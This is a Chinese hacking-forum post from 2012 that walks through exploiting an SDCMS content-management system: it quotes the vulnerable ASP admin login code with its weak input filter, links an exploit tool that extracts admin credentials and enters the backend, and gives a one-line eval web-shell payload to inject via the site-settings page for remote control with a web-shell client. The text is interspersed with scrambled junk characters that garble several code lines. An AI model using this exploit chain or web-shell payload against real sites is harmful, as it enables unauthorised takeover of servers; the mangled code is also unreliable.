找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3336|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥3 a, j8 _5 @- {; v
漏洞文件:后台目录/index.asp
- o0 t" w; [, H' I, [3 z' g
$ k" p' Q, ^4 |" X$ V' J; ~Sub Check
4 `# B, Y7 V7 W; @; P    Dim username,password,code,getcode,Rs
3 R# b* }- M2 H% L) w    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub( n2 h% e0 b6 H  ~2 T4 x
    username=FilterText(Trim(Request.Form("username")),1)
& `2 o2 @0 c+ m$ [$ V1 {    password=FilterText(Trim(Request.Form("password")),1)
4 I% I! G! A, J    code=Trim(Request.Form("yzm")): B5 h, `7 o7 _9 K
    getcode=Session("SDCMSCode")
: X# c& E8 @, W+ V% D+ F6 }8 B    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died; B. \; m4 Z9 n8 Y7 F
    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied' ?9 `, V/ u' x" R# e
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied
2 Z; F1 I7 X* F8 ]    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied: |& r' P# T- ^7 x, h
    IF username="" or password="" Then
$ e9 m. J0 ?* g, a        Echo "用户名或密码不能为空"ied" ?( V) p+ W$ h" W$ T" G% i1 b
    Else2 \  X3 ^. i9 X/ M2 S- i
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")! h. y7 b# t: l3 z) Z
        IF Rs.Eof Then$ C( g4 I& `8 V' f  H2 w( p2 l4 a1 v
            AddLog username,GetIp,"登录失败",1, _1 B' q  M/ L3 A0 z* b& j! G
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"5 @$ E7 L  m  h6 R) h, n: Q) a7 q. `
        Else
& y7 Q2 J: O( m            Add_Cookies "sdcms_id",Rs(0)
' q7 ^7 e; a) M! Y( E, M! d, Y            Add_Cookies "sdcms_name",username
" M, b* M9 D) d& v' m' a, k            Add_Cookies "sdcms_pwd",Rs(2)
9 L; X! x8 k- a( u) B            Add_Cookies "sdcms_admin",Rs(3)4 q, q9 @, }* K4 K+ v! ]! P
            Add_Cookies "sdcms_alllever",Rs(4), x, E$ C* _: q( t5 G# B
            Add_Cookies "sdcms_infolever",Rs(5)
* F9 Z; E6 R; ]: C* N: C            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
# f6 [. d7 ~- Q" M: |            AddLog username,GetIp,"登录成功",1
; P( F4 d# b  I- X            '自动删除30天前的Log记录
  h- o& K; h4 A$ `( J$ \: @            IF Sdcms_DataType Then
  e0 d' [- _( t. M" F1 d- H                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
- n8 O9 w/ T) K+ ^8 A            Else0 ^* S# W8 v% S, F0 l& c3 y9 [
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
4 j( g( _6 m& p1 y4 y* ~% ]            End IF/ e! B0 K* f9 ^! @7 d1 t* e3 o$ e; H5 P
            Go("sdcms_index.asp")( |/ n3 \! @0 K8 T. `$ P& h) _
        End IF
6 d- i1 @6 ]: `8 F/ W. V4 Y: D" t3 s1 E        Rs.Close* W4 u7 ~/ ]. N! ?
        Set Rs=Nothing
! [/ L  |& i7 ?7 \+ {3 M0 |    End IF
% [" ]. W9 F' b+ a8 mEnd Sub
, G/ m& L, [1 ?" P/ ~- W5 e0 w2 t. }+ S2 J
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码' ~2 l+ G# r, Z  M3 y9 ?
* E0 j; M0 s1 ^8 E
Function FilterText(ByVal t0,ByVal t1)' V$ \+ {: X1 W$ a6 M6 @+ {" T8 M
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
# _. p$ n2 s" _" q    t0=Trim(t0)0 i) T" |  l! d
    Select Case t1  u- W4 Y0 d3 G& F7 Q8 m
        Case "1"' H% m( x2 q4 z7 l! t
            t0=Replace(t0,Chr(32),"")& O' {% R5 V% K3 `
            t0=Replace(t0,Chr(13),"")$ Q: z: Y7 k1 r  h: p* `7 K( c
            t0=Replace(t0,Chr(10)&Chr(10),"")1 t$ G3 V7 T. _' A6 {
            t0=Replace(t0,Chr(10),"")
' D& D; a; M. k- D# Z$ m        Case "2"
: \' O3 S! l. z: P2 `* M            t0=Replace(t0,Chr(8),"")'回格
7 V; k3 i5 F+ D: H            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
" \/ c2 r' d) p/ G8 u* j; q            t0=Replace(t0,Chr(10),"")'换行
6 E, }/ h* l5 o            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
/ _6 I- b8 C9 t3 n            t0=Replace(t0,Chr(12),"")'换页
, |8 D( y2 D6 [" Y            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
) X" F; A* t5 _. y! j            t0=Replace(t0,Chr(22),"")6 F+ {8 ]$ f/ A' H/ o) a8 p$ r! L
            t0=Replace(t0,Chr(32),"")'空格 SPACE
! k5 t; }) B; q9 p! |: l8 }            t0=Replace(t0,Chr(33),"")'!
0 Z$ u9 m' ]( r- ~            t0=Replace(t0,Chr(34),"")'"
- Z2 u: T% C$ }2 a            t0=Replace(t0,Chr(35),"")'#
2 l( T2 b4 D% l: z# a            t0=Replace(t0,Chr(36),"")'$
4 y9 N1 t: s0 X, g# h; S            t0=Replace(t0,Chr(37),"")'%
8 R  o3 V! ~/ o  m* I0 K            t0=Replace(t0,Chr(38),"")'&6 r8 z0 A3 v0 }% \' }
            t0=Replace(t0,Chr(39),"")''
2 A9 P, p* J8 R6 Z% O& e9 }0 \            t0=Replace(t0,Chr(40),"")'(
$ K) d" S# U4 ?; W& [            t0=Replace(t0,Chr(41),"")')2 n& w3 M, \+ S7 L& k/ a
            t0=Replace(t0,Chr(42),"")'*
. z2 A. a% D" ?% n3 v            t0=Replace(t0,Chr(43),"")'+
( \. D2 V9 ]4 E- O. I4 X& M% h2 c            t0=Replace(t0,Chr(44),"")',
( b  f8 {- |% s2 G" n* Y            t0=Replace(t0,Chr(45),"")'-0 _4 l  d" g) b' q- s
            t0=Replace(t0,Chr(46),"")'.2 b# E; c" p' z+ E
            t0=Replace(t0,Chr(47),"")'/
  l0 l' V; S& L            t0=Replace(t0,Chr(58),"")':
. }5 @! Q8 T9 y. }  @            t0=Replace(t0,Chr(59),"")';
6 K4 e* H7 D# q$ ]* H            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
' d4 q& C- Y2 N4 _/ |            t0=Replace(t0,Chr(63),"")'?
) v% k3 W2 b' N% ~* Z            t0=Replace(t0,Chr(64),"")'@5 W1 k# U! V6 p
            t0=Replace(t0,Chr(91),"")'\  D( ]; J* S, o% `9 o5 }
            t0=Replace(t0,Chr(92),"")'\
1 |2 u: u, @8 ]% Y            t0=Replace(t0,Chr(93),"")']
+ [5 h- D+ X5 u. ]& X7 n            t0=Replace(t0,Chr(94),"")'^. `( G/ n5 h  k/ @& F
            t0=Replace(t0,Chr(95),"")'_6 _& d4 E: f" p9 R0 K' i% F/ b
            t0=Replace(t0,Chr(96),"")'`+ M4 J  W, q& ?0 c
            t0=Replace(t0,Chr(123),"")'{* f( L* n3 \: t& Q2 H/ k
            t0=Replace(t0,Chr(124),"")'|
5 Z, x5 D3 C' P+ r            t0=Replace(t0,Chr(125),"")'}, k+ Z5 M- d: ~- P: y
            t0=Replace(t0,Chr(126),"")'~
, [& m, k* U; J: _1 e2 y* f, A    Case Else% x+ ?+ p$ \# n# i. N# a
        t0=Replace(t0, "&", "&"). k& ?, P1 u# w: p, K* V
        t0=Replace(t0, "'", "'")
5 e" W* k- D6 i        t0=Replace(t0, """", """)
# c8 p& u% J2 e& O5 @' ^        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")) h1 v4 J6 y) P. E* \. i: c
    End Select
! ]6 j" R. s1 C; }# m: R$ l    IF Instr(Lcase(t0),"expression")>0 Then
$ X- u. P6 y( j9 I' g' n1 f        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)8 X* x; ~* a5 L& b! i# H! M
    End If
9 g* H( `! a, `% o" \8 W) I& e) v    FilterText=t0* A6 I4 h' Q6 A
End Function
$ G  l3 `% n% |) @& N/ v9 F# c1 Y3 L* u6 C' m+ z
看到没。直接参数是1 只过滤9 |$ s) k- T$ T; u) ^
                        t0=Replace(t0,Chr(32)," ")
& V# l' H2 ?" a4 ^                        t0=Replace(t0,Chr(13),""); X* y' d5 N" e. d! {% T, f
                        t0=Replace(t0,Chr(10)&Chr(10),"" W7 y7 ?# O  U" }4 N
")
+ z. S0 i; S! i$ d1 e5 a                        t0=Replace(t0,Chr(10),"
: ^! i; P2 h% U" Z' W! y& p2 K")
! l* M' U: `1 L/ ]4 @. k# q& ]漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
. _7 E$ J, ]# o- SEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP% O# M* J& n4 i# t

! W! v9 I8 T* d& p1 n0 O测试:
( U4 k9 }1 B) @8 n+ M5 X7 u6 {  z* O3 A% X/ O

. V) n  b; i" D& `+ Z现在输入工具上验证码,然后点OK% N! m- }' D6 |8 m% m" q# k- s" B
  }% ]/ p) T* ?6 N

, N. I. b* G8 G! u6 V看到我们直接进入后台管理界面了,呵呵!- K, f% ]+ d: Z. L# p

/ A: ~! \9 N$ H" [% A1 {9 K% m
* s+ B# G+ L' p  J) e- \0 g( N8 \7 K
这样直接进入后台了。。。。) z* X2 M- n6 _

9 Z3 b" C& C3 u7 d0 `
/ l6 q& F1 o7 N- T. T$ F: h" u8 q
4 H( v+ q' E) t2 ZSDCMS提权:
# ^9 _( {. z+ ?6 c+ t. J' J  U$ j5 C, Y0 d9 B6 e# W
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
' j% m+ `) X/ ~* v
# |$ @8 `% B# h! W' l& o+ x
$ I# [! \. n' A9 @; N$ _  M6 T1 T! f  G# `4 L) f, @
OK,现在用菜刀连接下!
0 F  Q/ F6 _3 Y+ U% P/ G
- u& H+ K' [1 f$ Z# w" D% V( a0 P$ V6 I5 R2 B! `
/ r) h: _2 b2 t  i5 U. h: W8 v
/ k/ Y2 r) n. f. S

* K/ V% w- f3 Z; G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表